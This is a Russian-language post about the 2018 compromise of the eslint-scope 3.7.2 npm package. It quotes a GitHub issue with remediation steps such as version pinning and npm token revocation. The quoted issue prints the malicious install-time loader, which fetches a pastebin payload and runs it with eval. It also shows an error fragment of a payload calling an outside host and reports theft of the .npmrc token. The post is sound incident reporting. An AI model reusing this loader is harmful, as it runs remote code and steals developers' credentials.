Eslint версии 3.7.2 содержит вредоносный код

dmitry · 12.Июль.2018 15:57:48

Суть:

github.com/eslint/eslint-scope

Virus in eslint-scope?

opened 11:17AM - 12 Jul 18 UTC

closed 08:36PM - 12 Jul 18 UTC

pronebird

security

## Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-p…ackage-publishes ## Update from the maintainers [Incident status report from npm](https://status.npmjs.org/incidents/dn7c1fgrr7ng) Please follow the comment by @platinumazure that gives a little insight into what happened: https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026 It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See https://github.com/eslint/eslint/issues/10600 for more information. ## In the meantime 1. Pin the version of `eslint-scope` to `3.7.1`, one way is to add the `resolutions` to your `package.json` ``` "resolutions": { "eslint-scope": "3.7.1" } ``` Verify the dependency version with `yarn list eslint-scope`. It should print out `eslint-scope@3.7.1` 2. Use `package-lock.json` or `yarn.lock` and have it in your repo if possible. Do not upgrade to 3.7.2 even if `yarn outdated` shows that there is a new version available. 3. Revoke your NPM token as suggested in the comment below https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856. You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services. ## The issue I don't know what the hell this is but it looks like a virus to me: ``` [2/3] ⠠ eslint-scope error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed. Exit code: 1 Command: node ./lib/build.js Arguments: Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope Output: undefined:30 https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten ^^^^^^ SyntaxError: Unexpected end of input at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10) at emitOne (events.js:116:13) at IncomingMessage.emit (events.js:211:7) at IncomingMessage.Readable.read (_stream_readable.js:475:10) at flow (_stream_readable.js:846:34) at resume_ (_stream_readable.js:828:3) at _combinedTickCallback (internal/process/next_tick.js:138:11) ``` The contents of a suspicious file: ```js try{ var https=require('https'); https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{ r.setEncoding('utf8'); r.on('data',(c)=>{ eval(c); }); r.on('error',()=>{}); }).on('error',()=>{}); }catch(e){} ``` The URL it attempts to load is http://pastebin.com/raw/XLeVP82h Also it attempts to send my `.npmrc` somewhere. This is version 3.7.2 that's been published an hour ago.

Обсуждение на HN

Вредоносный код искал учетные данные от npm, следовательно мог опубликоваться среди других пакетов.

По возможности не устанавливайте никакие npm пакеты пока ситуация не прояснится.

Отсутствие сендбоксинга js кода - одно из решений, о котором автор nodej сожалеет. Вот тут он делился своими соображениями.